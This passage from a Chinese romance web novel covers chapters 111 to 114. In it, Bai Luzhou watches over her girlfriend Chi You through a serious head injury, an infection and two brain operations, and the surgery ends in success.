从池柚倚靠住她的身体重量,她也察觉到了情况的严重。她的嘴唇动了又动,最后还是不忍再责问任何话,只颤抖着呼口气,问: “救护车呢?救护车到哪里了?” “我没叫。”池柚轻声答。 白鹭洲想掏手机,“我现在叫。” “不能叫,”池柚抬起头,“我要先去趟警局,还有事没处理完。” 白鹭洲终于忍不住带了重语气:“什么事能比你的伤重要?” 在刚刚池柚轻轻抬头的刹那,白鹭洲分明看见了那可怖的伤口下已经隐约露出了骨头。 “就是很重要。” 池柚说这句话时,眼神不再躲闪,异常坚定地与白鹭洲对视。 “我一定要有始有终地办完。” 正在被押进警车的中年男人挣扎着回过头,狠狠盯向池柚,声嘶力竭地吼道:“我记住你了!奶奶的,你给我等着!!老子要能让你好过,老子下辈子投胎做畜生!!!” 白鹭洲侧了侧身,挡住男人刺向池柚的目光,眉尖冰冷地蹙起。 杨乐荷心力交瘁地叹了口气,说:“白老师,回头再和你解释吧,要不……现在先让池柚跟着去一趟警局?不然她也放不下的。” “不可能。”白鹭洲丢下这句话,拉着池柚转身朝自己的车走去。 池柚努力挣脱白鹭洲攥得生紧的手,“你干什么?” 白鹭洲:“跟我去医院。” 池柚:“我要去警局!” 白鹭洲:“处理完伤口,我再带你去警局。” 池柚:“我不差这一会儿!” 白鹭洲回过头,一字一句道: “可我差这一会儿!” 她们相识十多年,这是白鹭洲第一次用这么重的语气和池柚说话。 她回过头,沉痛的目光落在仍旧在挣扎的池柚身上,攥住池柚的手都被池柚掰痛了,也不愿意松开。 “就算是为了我,先去医院,好吗?”白鹭洲罕见地用恳求的眼神,看向那个深可见骨的伤口。 池柚终于停止了动作,可她也不打算妥协的样子,急道:“你不懂发生了什么,除了我自己,这件事我不相信任何人!” 白鹭洲:“连我也不相信?” 池柚的眼底恍惚了一下。 白鹭洲咽了咽喉咙,尽力平复情绪,“我先送你去医院缝针,路上你告诉我事情的原委,在你治疗的时候,我会去警局处理好所有事,相信我。” 池柚:“但……但这件事你不该被牵扯进来的。” “跟你有关的事,本来就也和我有关。”白鹭洲用极罕见的认真目光凝视池柚,“你是不是忘了,我是你的女朋友?” 这一刻,“女朋友”这三个字,在白鹭洲口中重似千斤。 池柚莫名地想哭。 她看向旁边的地面,眉头皱出一个小山丘,下唇抖了又抖,才强忍住没让自己哭出来。 白鹭洲知道,池柚不说话,就是愿意低头了。 她牵着池柚进车里,帮忙系好安全带,脱下身上用来外搭的无扣白衬衫叠了几下,按在池柚的伤口上让她自己压住止血。 然后回到驾驶座,利落地打火启动车子。 池柚缩在副驾驶座,整张脸都埋在叠得厚厚的衬衫里,不一会儿,肩膀就开始明显地发抖,一下一下地耸着。 “老师……” 浓重的哽咽声从衬衫缝里溢出。 “你……告诉我,我没有做错,对不对?” 白鹭洲见池柚委屈成这个样子,心脏被什么揪得紧紧的,快要揪出血来。 “你没有做错。”她肯定地告诉池柚。 池柚哭着说:“可是、可是你还不知道事情经过……” 白鹭洲:“不论你做了什么,你都不会做错。” 池柚哭得更狠了:“为什么……为什么这么相信我?” “你是我最优秀的学生,你学会了我教给你的所有最好的品质。” 白鹭洲攥紧方向盘,声音很轻,却又很坚定地说。 “我一直都知道这一点。” 刚刚经历的一切,猛然间在心里不受控制地翻涌而出。 心酸,害怕,恐惧,紧张,让池柚再也掩饰不住,放声痛哭起来。 池柚哭了很久很久。 在去医院的后半段路上,那张沾满鲜血的脸才从衬衫里抬起,断断续续地和白鹭洲说了刚刚发生的事情。 “我明白了。你放心,我会去关注那个女孩的事件调查进程,一定亲眼看到法医和警方的调查结果,有任何进度都立刻同步给你。” 白鹭洲条理清晰地向池柚保证。 “你安心在医院待着,需要缝合就好好缝合,需要输液就好好输液,其他的事都交给我,我会处理好一切。” “……白鹭洲。” 池柚带着鼻音的细嗓音嗡嗡响起。 她不确定地求教她的老师。 “‘女朋友’,是可以用来这么麻烦的吗?” “我们确定彼此互为对方的女朋友起,就谈不上‘麻烦’这个词了。” 白鹭洲已经开到了医院停车场,停稳车子。她叹着气转过头,俯身过去,冰凉手指扶在池柚的脸侧,仔细地看她伤口的情况。 “你记住:从那天开始,到这一辈子结束,你的事,就都是我的事。” 池柚抽泣着乖乖点头。 “嗯,我、我记住。” “血流得少一点了,看着还是很严重,下车吧。” 白鹭洲正要从驾驶座下去,却感觉胳膊一紧,被池柚拉住了。 “怎么了?” 她回过头看池柚。 池柚湿漉漉的眼睛悲伤地看着白鹭洲:“我头好晕,白鹭洲,如果我变傻了,你还会喜欢我吗?” 白鹭洲耐心回答:“当然。” 池柚:“我变成什么样你都会喜欢我吗?” 白鹭洲:“你变成苍蝇也一样。” “那变成蟑螂呢?” 池柚的声音转低。 “你最讨厌蟑螂了。” “……” 白鹭洲不再和池柚车轱辘话耗时间,径直下车,也把池柚从副驾驶座牵出来,扶着她往医院大厅走。 “看来你确实撞得不轻,真有点变傻了。” 什么蟑螂。 这都什么问题。 挂了急号,白鹭洲带着池柚去到医生那里,看着医生为她紧急处理了伤口,做了全面检测。 池柚伤得的确严重。 脑震荡,眉骨骨裂,颅内血肿。 医生说,这还算来得及时,如果来得晚了,血肿破裂很容易造成脑出血,脑出血就麻烦了,她很可能会落下视力障碍、行走困难的症结,甚至语言表达能力和理解能力都会严重受损。 那个“变成傻子”的假设,是真的有概率会发生的。 本来只做伤口清创和缝合的话,局部麻醉就可以。但池柚的状况异常糟糕,她需要做开颅血肿清除手术,必须全麻,还得办理长时间的住院。 开颅无疑是个大手术,全麻和住院都是小事,人能安全地从医院走出去,比什么都要紧。 池柚换好病号服,被护士扶着,进入手术室接受麻醉。 在进手术室之前,池柚本能地找白鹭洲的身影。 左顾右盼,很快看见了坐在走廊边金属长椅上的那个人。 白鹭洲垂着头,淡淡地坐在那儿,捏着一沓写满密密麻麻小字的单子,面无表情地盯着,一页一页地仔细翻着看。 她还是和往常一样。 眼睛里,面部肌骨里,肢体摆放里,都看不出她的任何真实情绪。 “白鹭洲。” 池柚喊她的声音很轻,浸上了失血过多的虚弱。 白鹭洲抬头,捏着单子的手指瞬间在纸面陷下去几个深坑。 “去吧,放心,一定很顺利。” 她的五官艰难地拉扯了一下,强撑起笑容。 “不要害怕。” “我学医,我知道那单子上写的是什么。开颅手术的成功率是70%到95%,我从医生提到要做这个手术就有这个概念,所以我不害怕。” 池柚望着白鹭洲深邃的眼睛,抿了抿嘴角。 “真正害怕的人,是你对不对?” 白鹭洲勉强弯起的嘴唇僵硬地缓缓放平。 “会没事的。” 她没有回应那句话,只是这样对池柚说。 池柚深深地看了白鹭洲一眼,跟着护士走进了手术室。 看着手术室的门关合后,白鹭洲低下头,看见自己捏着单子的手指已经苍白得失去了全部血色。 她张了张嘴,却发现喉咙里的最后一点水分,已经用来和池柚说了最后一句话。 …… 是啊。 真正害怕的人,是她。 第112章 这一天, 白鹭洲过得很累。 最寻常的累是身体上的奔波劳碌,最难言的累是精神上的紧绷推拉。 而最极端的累,是奔波劳碌与精神紧绷并行, 并且无法从中选择一个去专心感受。现实会按着她的后脖颈,让她卡在这两者的缝隙里, 连呼吸都困难起来。 白鹭洲在警局处理池柚挂心的事情时, 抽空给家里还没走的黎青打了个电话, 说她现在实在分不开身,但又真的担心手术中的池柚,拜托黎青去医院看看。 好在, 和黎青的交流向来高效。 黎青从来不会缠着问什么原委,只会揪住眼下最要紧的问题,于是问过医院的地址后,便说自己马上过去。 挂断电话, 白鹭洲在花坛边随便找了个地方坐下来, 一贯爱干净的她没力气再去在意脏不脏的问题,把脸埋进掌心,沉沉地呼出口气。 一位女警察走了出来,找到花坛边难得缓和片刻的白鹭洲, 和她交代现在的情况。 “白小姐, 法医已经在做检验了,大概三天后会出结果。死者的关系调查也已经展开, 我们会尽快筛查出近期接触过她的成年男性, 并监控行踪。死者的父亲涉及到故意伤害池小姐,目前在看守所看押拘留, 具体是否要起诉,或者要定什么性质, 都要看池小姐的受伤情况。您是池小姐的朋友,等池小姐的伤情稳定了,我们会再请您帮忙配合做伤情检验,留个电话吧。” 白鹭洲站起身,给警察留了自己的电话。 女警察:“现在这边的工作都已步入正轨,您不用继续守在这里,早点回去休息吧。” 白鹭洲:“谢谢。” “不客气。”女警察顿了顿,忍不住多嘴两句,“您在这儿忙一天了,看您来回跑得,我都觉得累。作为素不相识的陌生人,池小姐和您能做到这个份儿上实在是不容易,放心,我们警方一定竭尽所能处理好这件事。” “谢谢。”白鹭洲又道了声谢,“这句是替池柚说的。” 女警察颇为动容,怀着尊敬之心向白鹭洲颔了颔首。 警局事情暂时结束,白鹭洲没有一刻耽搁,立即返回医院。 她在走廊上找到手术室时,发现不止是黎青来了,宋七月和柴以曼都来了。 那俩人喝再多酒,听到池柚出事后也马上就清醒过来,叫黎青开着柴以曼的车带她们一起来到医院。 手术室的灯还亮着,但有一个戴着口罩的医生站在门口,正和她们说着什么。 白鹭洲才走近,就听见黎青语气很重地质问对方:“怎么会感染?是器具消毒出了问题,还是操作流程没有规范?” 医生:“都不是,是她磕碰的地方有大量病菌,我们现在也需要知道她磕在* 了哪里。” “是殡仪馆的桌子。” 白鹭洲在她们旁边站定,勉强维持着仅剩不多的理性。 “她……感染得严重吗?” “我们现在只能反复冲洗她的颅腔,立刻缝合硬脑膜。因为这个感染,手术时脑部血管暴露在外的时间延长,虽然一直在用生理盐水湿润,但接下来很有可能会引发血管痉挛。而且她出血量太大了,太危险了,今天只能暂停,先用抗生素治疗感染,改天再重新开颅。” 医生交代完,便转身回了手术室。 “感染……血管痉挛……”黎青的脸色差极了。 宋七月忙问:“这是什么意思啊?” 柴以曼也急了:“就你一个学医的,有什么隐患你就直说吧。” 黎青抬眼,看了看白鹭洲。 白鹭洲明白这一眼的意思。 “……我没事。” 她的声音带着抖。 “那我就直说了,她接下来几天,大概率会因为病菌感染而高烧不醒,脑部血肿也没有清除干净,目前也不清楚未清除的血肿还分布在什么地方,如果在脑干……” 黎青艰难地咽了咽唾液。 “其实仅仅是血管痉挛就已经可能会要了她的命了,脑干要是还有血肿,情况就更不容乐观。脑干影响着生命体征中枢,血肿严重的话就意味着,呼吸和心跳都有概率会随时直接停……” 饶是黎青如此冷静的人,也没能忍心将最后一个词语说完整。 白鹭洲沉默半晌,忽然皮笑肉不笑了一下。 “不可能,她只是磕了一下头,做手术之前她还能站着和我说话,她进手术室的时候都不是被推进去的,是她自己走进去的,怎么可能会像你说的那样严重?” 黎青不知该说什么才好。 “白教授,你……冷静一点。” “我很冷静。你说的那些,都是有可能发生,但现在还没有发生的事,不是吗?” “对,对对,都还没发生呢。”宋七月压下鼻腔的酸涩,努力安抚白鹭洲,“不会有事的,一定不会有事的。” 黎青也忙说:“确实都是概率问题,我只是把所有可能出现的状况都告诉你,你知道就好,不必以这些为既定结果。” 柴以曼看向白鹭洲,“不要想那么多了,你就安心等她醒,我会再想想办法看能不能帮上一点忙。” 白鹭洲的表情始终没有变化,不知道她有没有将所有人的劝慰听进去。 池柚这次的手术无法定义成功或者失败,因为根本就没能完成。 没多久,她的头缝合完成后,躺在转运床上被推出来。瘦瘦软软的一个人被埋在白花花的被子里,双眼紧闭,头上包了厚实的绷带,口鼻被呼吸机面罩严实扣住。 很难想象几个小时之前,她们都还以为她只是需要简单地缝合一下那个伤口。 池柚被送进了普通病房,但医生说如果有任何恶化,都需立即转入ICU。 她被安顿下来后,白鹭洲就坐在她的身边,脸上仍没有什么明显的波澜,坐姿都是一如既往地淡然。 只是什么都不做,不看手机,不吃东西,就一直平静地看着池柚苍白的脸。 朋友们在病房里忙来忙去,帮忙买水和吃的,给白鹭洲准备一份,也给池柚准备一份,等她醒来随时都能吃到。 但过了大半天以后,她们就发现纯粹是白买。 池柚没有一点转醒的迹象,白鹭洲也没有一点要吃饭的意思。 晚上,黎青的第一个预料到来了。 ——池柚开始发高烧。 那时正值深夜,朋友们都已经回了家,白鹭洲帮池柚擦脸的时候第一个发现,立刻呼来了值班医生。 医生来病房做了检查,表情愈来愈严肃。 医生:“我现在给她换药,如果明天下午之前她能醒来,并且体温能降下去,那说明情况还没有想象中糟糕,后天就可以重新手术。” 白鹭洲蹙眉:“这么快就重新手术?” 医生:“毕竟当务之急还是要尽快清除她脑内剩余血肿。不过,如果她醒不来,且体温持续不退,就需要马上转入重症监护室。” 医生顿了顿,又问: “你是她的法定亲属吗?” 白鹭洲:“……不是。” “那尽早联系一下她的法定亲属吧,她再不醒,需要有个人来在手术单上签字。” 医生沉重地残忍补上一句: “如果下发病危通知书,也需要有个人来接。” 白鹭洲在医生准备离开的时候,忽然回过头,问道: “真的已经严重到这个地步了吗?” 她又喃喃,像是在用最后的力气说服自己: “她明明只是磕了一下头。” 医生:“那是头颅部位,不是四肢,况且她的颅骨又刚好撞击在尖锐桌角上,撞击力度非常大。脑部有多脆弱,脑神经有多复杂,我想,就算您不太精通医学也应该能明白。” 白鹭洲:“她会死吗?” 医生犹豫片刻。 “我们不排除任何可能。” 白鹭洲深吸一口气,又缓缓吐出。 “我有钱,只要能治好她,你们可以上最好的药和医疗设备,多贵都没关系,百万,千万,要多少钱我有多少钱。” “她现在的情况不是更好的药或者医疗设备就能解决的。就比如她现在感染所致的高烧,按理说一支20块钱的阿昔韦洛就可以治疗,可是如果她自己身体那关过不去,20万的药和20块钱的阿昔韦洛没有区别。” 医生认真地看着白鹭洲。 “或许钱可以解决世上大部分的事,但在医院里,这个理论就不一定了,您懂吗?” 钱可以解决世上大部分的事…… 想起自己前两天才和池柚说过同样的一句话,白鹭洲不禁自嘲地笑出了声。 是啊。 钱可以待在她想象里作为一个个逐渐被池柚染上意义的数字,可以买一张机票只为了进机场给池柚拎行李,可以换来老师傅的秘制芒果酥做法,也可以成为两个人私奔到天涯海角的后盾。 却唯独,不能在此时保一条她最想留住的命。 “……我懂了。” 白鹭洲低声说道。 医生似乎想安慰一下白鹭洲,但他又觉得自己不该越过职业道德,随意给人希望。于是无奈地叹了口气,说了声再见,便离开了。 白鹭洲听见“再见”两个字,觉得像是有一支锋利的钢笔,狠狠地划破了她心底最后一张薄纸。 病房里只剩下她一个。 她独自站立了很久,才僵硬地转身,重新在池柚身边坐下。 白鹭洲对着池柚沉默了一天,在此刻,才动了动嘴唇,开始试着和昏迷的池柚说话: “你知道吗,刚刚,我突然想到很久以前,读到过的奥兹的一段话。” 她短暂地停顿,润了润嘴唇。 “他说,悲剧只有两种终结方式,一种是莎士比亚式,一种是契诃夫式。莎士比亚式的悲剧结束时,尽管天空上也许盘旋着某种正义,舞台上却已经横七竖八地躺满了尸体。与之相反的是契诃夫式的悲剧,结尾时每一个人都感到幻灭、苦涩、心碎、失望、精疲力竭,但是都还活着。” 白鹭洲看着池柚,忽而笑了一下。 “我们两个,不会同时走向这两个悲剧吧?” 你在正义的天空下死去。 我在精疲力竭与痛苦中活着。 池柚睡得很宁静,身体几乎看不到呼吸的起伏。 “医生走的时候,你听见了么,他和我说‘再见’。” 白鹭洲的声音越发地轻。 “但你不会和我说这两个字的,对吗?” 白鹭洲坐得很直,没有试图前倾去靠近池柚一点,也没有伸出手去抚摸池柚的脸庞。 她像是平时给学生授课般,正襟危坐,眉眼内敛。 “我相信你,你向来是很负责任的一个人。” “你永远都会为自己的选择和说过的话负责。你对和柴以曼的三个月负责,对你收敛的逝者负责,你没有理由不对我负责。” “你答应过我,你不会离开我的。” 白鹭洲的眼眶渐渐红了。 “你答应过我,走出那个游戏后的现实里,你不会骗我的。” 白鹭洲的眼泪清浅地从眼角滑落。 “我也……还欠你很多事情。我还没有带你去见见我的母亲,还没有正式把你介绍给爷爷奶奶,还没有告诉所有人,我们已经在一起的事。” “对不起……” 越来越多的眼泪淌下。 “下次见到剧院的院长,还有姜宛,或者其他任何人,我不会再说你是小亲戚,我会告诉他们,你是我的女朋友。” “我会跟你去见你妈妈,我保证会让她接受我,用什么方法都行,不让你再苦恼要怎么掖掖藏藏。” “我会每天开车送你上下班,你一辈子不学驾照都可以。” “我会好好吃掉你做给我的所有菜,不论你做成什么样子,多可怕的样子我都吃,不会再有一点点犹豫了。” “只要你开心,我……我什么都可以说,什么都可以做。真的,真的。” 白鹭洲颤抖地深深呼吸。 呼吸很久,才从冰凉的手指末端找到一点自己还活着的感觉。 半晌,她抬起湿润朦胧的眼睛,望向池柚。 干涸苍白的嘴唇蓦地轻轻翕动。 她像是很想要开口说一句:你别走。 别离开我,别走。 求求你。 可是她的嘴唇动了又动,很久很久,都不敢将这句话说出来。 仿佛只要说出这句话,就意味着,连她都不会坚定地相信池柚会没事了。 最后,从心脏的裂缝里,从细数过的后悔往事中,从已然摇摇欲坠的那点点矜持间,她终于还是避开了这句话。 绕开微弱萤火。 劈开一道更加刺眼的光。 她对病床上已经听不见她说话的那个人,哽咽着说出了那人之前嚷嚷着想听,却不曾听到过的那三个字: “……我爱你。” “我爱你。” “我爱你。” “我爱你。” 我爱你。 我爱你。 这一整夜,白鹭洲没有睡觉,也没有再说别的话。 她就坐在池柚的病床前,无休无止地重复着这三个字。 我爱你。 我爱你。 我爱你。 说到夜幕消散,说到破晓黎明,说到天边吐白。 说到嗓子疼得快要出血,喑哑得再也无法清晰地辨别出话语的内容。 第113章 没有人记得, 白鹭洲的身体不好。更没有人知道,她之前生的那一场大病还没有痊愈。 唯一记得和知道的人,每天帮她熬药、给她药碗旁放奶糖的池柚, 现在没办法睁开眼睛,问她的身体有没有不舒服。 白鹭洲从昨天到今天, 不吃不喝不睡, 但她也感觉不到身体的破败变化。 她眼下什么都感觉不到了, 她身体的存活仿佛只是为了能直立起来,做所有医生嘱咐过可以帮到池柚的事。 她不停地用酒精擦池柚的手心,给池柚额头上连续换湿帕子, 偶尔用棉签沾水,湿润池柚干涸起皮的嘴唇。 有时候她会想起黎青说过的那些预测。 想起预测里的症状似乎正在一项一项地成真,她望着病床上清瘦的池柚,觉得池柚也正在从161cm逐渐缩小。 缩到131cm, 缩到101cm, 最后,缩成一个婴孩的大小,再缩成一只骨灰盒的长度。 她知道她不该想这些。 可是思绪已不受她的控制,飘得比断线的纸筝还要肆无忌惮。 医生说, 下午醒不过来, 会很糟糕。 但下午是什么概念? 两点吗?三点吗?还是五点,六点? 太阳下山前, 是不是都算下午? 白鹭洲心底的希望与绝望, 在表盘上的时针与分针之间不断拉扯。后来她不敢再看手表,转而去看窗外的太阳, 将最后一点希冀寄托在还没消失的天光中。 于是心脏中那根岌岌可危的细线,变成了太阳和天际线的拉扯。 地平线上, 太阳已经沉下去大半边,剩下可怜的小半弧。 仅剩不多的天光,快要消失了。 太阳的最后一块切角淹没在地平线后,在最后的一丝天光熄灭时,不知是神听到了白鹭洲无尽无止的祈祷,还是困在天边的那抹光终于飞回了它该来的地方,白鹭洲的耳畔传来一声微弱的熟悉声音。 “白鹭洲。” 果然,世间能量都是守恒的。 一处光湮灭,另一处光就会亮起。 白鹭洲拧过因为长时间望窗外而僵硬疼痛的脖颈,望向病床上的人。 在接触到池柚看向她的目光那一刻,白鹭洲的眼眶便红了,胸腔陡然一震,喘出闷压太久的一口气。 “你醒了?”白鹭洲的嗓子哑得厉害。 池柚虚弱地勉强半睁开眼,细细地“嗯”了一声。 白鹭洲忍不住笑,“好,好,醒了就好,我去叫医生,没事了,没事了……” 池柚:“等等。” 白鹭洲起身的动作顿住,回过头,柔声问:“怎么了?” 池柚清澈的眼睛弯出小动物似的弧度,撒娇一样,说:“干嘛急着叫医生,你先和我说两句话嘛。” 白鹭洲解释:“医生说只要你能醒,而且退烧,就说明情况大有好转,我先让医生过来看看,等会儿我们再……” 池柚打断她:“我发烧了?” 白鹭洲:“……嗯。” 池柚轻轻抬起手,拉住了白鹭洲的手指,“那你先帮我看看,有没有退烧。” 白鹭洲想着,能多一个信息点马上给到医生也好,于是弯下腰,挪开了池柚额头上的毛巾,用手背试探了一下。 可是额头皮肤上还带着毛巾的冰凉温度,摸不出来真实体温。 白鹭洲:“我去找个温度计。” 池柚却不松手,虚软地把白鹭洲拉回来。 她此时能用上的力度很小,不足以拉停一个成年人,但白鹭洲感觉到她在拉自己,就马上停下,再次俯过去问: “怎么了?” “又不是只有额头才能试体温。” 池柚的眼波泛着狡黠的光。 “舌头也可以啊。” 白鹭洲:“你……” 池柚:“亲亲我。” 白鹭洲叹气,“现在不是闹这些的时候,你先收收心,我给你夹上体温计再马上去叫医生,等医生看过以后,你想怎么样都行。” 池柚撇撇嘴,松开了白鹭洲的手,“好吧。” 白鹭洲摸了摸池柚的耳朵,“乖。” 医生来仔细检查过后,表情欣慰许多,说池柚的体温在37度,虽然还有一点点低烧,但已经算是降下来了,而且人意识清醒,说明脑部血肿的情况比预想的要好,明天就可以进行第二次手术。 并且池柚现在醒了,她自己可以签手术单,也不必再麻烦她妈妈。 医生走后,白鹭洲终于松了口气,扶着床沿坐下,散出满身疲惫。 池柚又拉住白鹭洲的手,晃了晃,虚弱的嗓音带上了她独有的细腻清甜:“现在可以亲亲我了吗。” “好。”白鹭洲宠溺地答应,支起身子,倾过去,缓缓凑近。 可她离池柚的脸还有十公分时,池柚眨了眨眼,忽然开口问道: “不是挺顺利的么,我醒了,也退烧了,你为什么还哭呢?” 白鹭洲勉强扯出一个笑。 “我哭了吗?” 池柚:“你眼睛里有眼泪,只是你在忍,没有让它掉下来。” 白鹭洲闻言,眼眶和鼻尖的酸涩如汹涌浪潮般袭来,让她再也忍不住。 她只眨了一下眼,泪点就“啪嗒”地落在了池柚的手背上。 “我只是在想,还好……你醒了……” 白鹭洲佝了腰,握起池柚的手,将额头抵上去,不想让她看见自己哭泣的狼狈。 可是她哽咽的声音,比以往任何一次落泪都要沸腾得多。 “还好醒了……还好……醒了……” “我昨晚的情况,应该很糟糕了。” 池柚翻起手掌,柔和地抚摸白鹭洲通红的眼角。 “不然你不会哭成这样。” 白鹭洲想说什么,但她说不出什么自欺欺人的话来。 “刚刚医生说要第二次手术,说明我昨天的手术没有成功。我又发烧了,那意思就是有感染现象,确实很危险呢。” 池柚轻轻地说。 “你不用想着怎么说谎话安慰我,我学医,我知道,这样的前提条件下,第二次手术的风险只会加倍。” 白鹭洲沉默半晌,只说: “你不会有事的。” 空气沉寂良久。 池柚忽然开口: “白鹭洲,你有没有想过,和我分手?” 白鹭洲带着眼泪的呼吸声,甚至刚刚还纷乱嘈杂的心跳声,在这一刻,都猛地安静。 “你说……什么?” 她用她此生最颤抖的声音问。 池柚:“别怕,我只是问问,你有没有想过。” 白鹭洲的下颌骨紧了又紧,“不要假设这种问题。” “我知道,你在意。你说过,有些事你连假设一下也接受不了。” 池柚苦涩地笑。 “我就是想到,你以前告诉过我,如果我先去世了,你只会再活一天,用来安葬我。但我不想你只活这么短的时间。我就想,要是我这次真的有可能先走,那能不能……我先和你分手?我好像,宁可你恨我,也不愿意看到你为了我做那种事。” 她的声音哽了哽。 “我用了十几年的时间,才让你爱上这个世界,我不想你……你……” 白鹭洲深呼吸了好几下,抬起头,艰难地牵了牵嘴角。 “你现在不要担心除了你自己的病情之外的事。如果你实在忍不住去想这个问题,那我答应你,就算你先走了,我也一定好好活下去,你放心,好不好?” 池柚知道白鹭洲用尽了力气压下自己的心绪,才能像这样来哄她。 她心疼眼前的白鹭洲,可她不想随随便便结束这个话题,她需要听到一个无比具体的承诺。 她问白鹭洲:“你会活多久?” 白鹭洲:“一百岁,可以吗?” “嗯。” 池柚满意地弯了嘴角。 “可以。” 白鹭洲:“好,那就一百岁。” 池柚再次确认:“一百岁啊。” 白鹭洲:“对。” “说定了?” “说定了。” 过了一会儿,池柚清咳两声。 “对不起,我明知道咱们俩都很讨厌狗血的事,还说刚刚那种话。但是吧,其实我也不后悔说这些,因为我就是想听到你说,你会活到一百岁。不然我明天进手术室,做完麻醉眼睛估计都得是睁着的。” 白鹭洲明明心情很沉重,听池柚这么坦白,却又忍不住轻笑一瞬。 池柚向白鹭洲凑近了一点,小声说:“悄悄告诉你,明天的手术风险没那么大,我刚才有一点夸张了。” 白鹭洲:“……” 池柚又忙说:“但我没有骗你啊,还是有几率会死掉的。” 白鹭洲揉了揉眉心,“好了,别说这个字了。” 池柚抓着白鹭洲的手捏来捏去,“那我们不要想这件事了,我告诉你一个秘密,让你开心一点好不好?” 白鹭洲放下揉眉心的手,“什么事啊?” “其实,那天早上,我拿卷尺不是为了量你手指的长度,长度是顺便量的,我是想量你手指的粗细。” 池柚的眼眸亮亮的,像落了星星。 “我们确定关系那晚,你给我送了个空气戒指,我就想,以后一定要给你送一个实物戒指。之前分房睡没什么机会,后来第一次和你睡觉,第二天起来,我就终于有机会量一下你的手指了。我已经悄悄打好了那个戒指,就在我睡的那侧床头柜最底层,被两本书盖着,本来是想等你今年生日的时候再送给你的,但现在为了让你开心,我提前告诉你。” 白鹭洲忍住眼眶里的泪,浅笑着点点头。 “嗯。” 池柚又接连说起很多有意思的事。 比如家里的花之所以能长得那么茂盛,不是因为她之前胡诌说自己八字带水对花草有益,是她在浇花的水里偷偷加了小苏打和醋。 还有,白鹭洲每次喝药后很喜欢吃的那款奶糖,根本不是什么名贵牌子,就在小区门口小卖部买的,两块钱一大包,比旺仔和大白兔都要便宜。 诸如此类等等。 …… 其实,白鹭洲都明白。 池柚后来的轻快豁达,都是伪装出来的。 后一句手术风险很小是假的。 前一句手术风险很大是真的。 说她是因为想哄白鹭洲开心才透露戒指的事是假的。 怕自己最后走不下手术台,想让白鹭洲能自己找到那枚戒指是真的。 炫耀浇花技术是假的。 试图教会白鹭洲独立浇花是真的。 取笑白鹭洲嘴巴钝吃不出来好坏东西是假的。 告诉白鹭洲,以后你喝完药想吃喜欢的奶糖要去哪里买是真的。 只是白鹭洲看着池柚这么懂事地隐藏起自己对未知的所有恐惧,努力地在言语夹缝中,交代着如果没有自己,白鹭洲一个人该怎么生活的细节…… 她便没再开口说任何话。 尽管池柚每说一句话,她的心脏都会痉挛着剧痛一下。 她也懂事地,没有戳穿池柚一点点。 第114章 做手术这天早上, 前天提前离开并消失了一整天的柴以曼回医院了,带来了一个好消息。 她说,她去找了温确, 拜托温确用温家的人脉调来了一位颅腔手术的专家大佬。如果说开颅手术的成功率是70%到95%,那么, 这位大佬可以保证将成功率拉满到95%。 宋七月不敢相信自己的耳朵:“你……去找温确了?你能主动找温确?” 柴以曼满脸无奈:“不然呢, 我和白教授家里都只是经商的, 兜里只有几个没什么用的臭钱。除了温确那个真正的祖上富大小姐,咱们之中还有谁能有这么牛的人脉关系?那会儿小柚子还昏迷,也不能指望把她揪起来叫她去找一下她们家的医疗关系啊。” 黎青笑了笑, 看向病床上的池柚,“而且小柚子应该也不想让自己的老妈知道这件事,对吧?” 池柚也笑眯眯地看回去,问:“师姐为什么这么说?” 黎青瞥眼旁边的白鹭洲, “你怕你妈第一次知道你俩的关系是在这种场景里, 就更不会接受白教授了呗。” 池柚:“师姐这么说,显得我很恋爱脑哎,为了她连自己小命都不管了。” “你不是恋爱脑。” 黎青抱起胳膊,靠在墙上, 叹气。 “你是‘白鹭洲脑’, 你特别特别想跟她在一起,是不是?” 池柚没回答是或不是, 只伸手拉住白鹭洲的手。 恰逢看见来推她进手术室的护士走进门, 于是她仰起头小声和白鹭洲说: “别怕。” “是你要去手术了,你跟我说别怕?”白鹭洲淡淡地笑。 池柚甜甜地笑:“那你和我说一声‘别怕’。” 白鹭洲:“别怕。” 池柚:“好, 我不怕,你也不要怕。” 白鹭洲的唇角又向上弯了弯。 “我告诉你哦白鹭洲, 我一直都相信,人类的主观意志很重要,是可以干预‘应该发生的事’的。” 池柚看着白鹭洲的目光很坚定。 “你也要相信我,我特别想活,特别想陪着你到一百岁,我这个主观意志绝对可以杀死那些坏病菌。” 白鹭洲弯着眼眸,捏捏池柚软软的手。 “好,我相信你。” 池柚被推出病房时,和姐姐们笑着说几个小时后见。 她一直在笑,用轻快的态度和温和的笑容安抚所有人的忐忑。只有白鹭洲看见,池柚在回过头背对她们时,眉头蹙起,紧张地抿了一下嘴唇。 “白教授,不至于那个表情。”柴以曼说,“成功率都拉到95%了,还一脸的生离死别样子。” 白鹭洲轻声回道:“哪怕只有万分之一的概率失败,这万分之一落在她身上时,就是百分之百。” 很神奇,池柚和白鹭洲在不同的场景里,面对不同的事件,表露了同样的态度。 她们对于概率这件事情的看法竟不谋而合,出奇地一致。 概率不论大小,百分之多少都无所谓,她们只看最后的真相与结果。 结果落在哪里,哪里就是百分之百。 手术室门缓缓关上。 这一天,大家都没什么心情吃饭了。 她们坐在手术室门口,有时候烦躁地玩会儿手机,有时候长时间地沉默,有时候又会试着和白鹭洲说几句话,安抚一下她。 这场手术做了7个小时。 时光仿佛变成了一把有着精准刻度的尺子,手表的秒针一毫一毫地将它折断,手机上跳动的时间数字一厘一厘地将它缩短。 偶尔白鹭洲觉得,时间好像凝固不动了,因为她总感觉看表的两次之间隔了很久,却没见上面的指针有什么变化。 偶尔她又觉得,窗外的太阳落得很快。 明明她只是稍微回忆了一下和池柚在一起的那些小日常,云和太阳之间就忽然拉开了好大一段距离。 白鹭洲想转移一下注意力,于是走到走廊尽头的窗边,向下看医院的众生百态。 有的人把体检报告夹在手臂下,向住院部轻快踱来。 他们的身影舒展放松,想必一定得到了满意的结果,衣物在微风中柔软飘动,像是穿着一朵朵蓬松的云。 有的人裹紧外套,同样向着住院部,脸色阴沉地快步疾走,只见几条悠远的模糊长影。 好似迷路的堕罪神明,茫然地找不到光明之门的终点。 阳光是倒灌的金色宇宙海。 树枝上第一枚盛绿的叶子迎风向上,发出盛夏的第一个讯号。 于是所有从冬止,至夏生的生命便昂扬地画上了起始符。 很幸运。 命运给白鹭洲画上的,也是起始符。 7个小时结束时,那个百分之百,落在了成功里。 可能是温确找来的这个专家真的很牛,也有可能是池柚的精神意志真的能杀死那些坏病菌,又或者,那些血肿识相地没有凝结在重要的脑干区域。 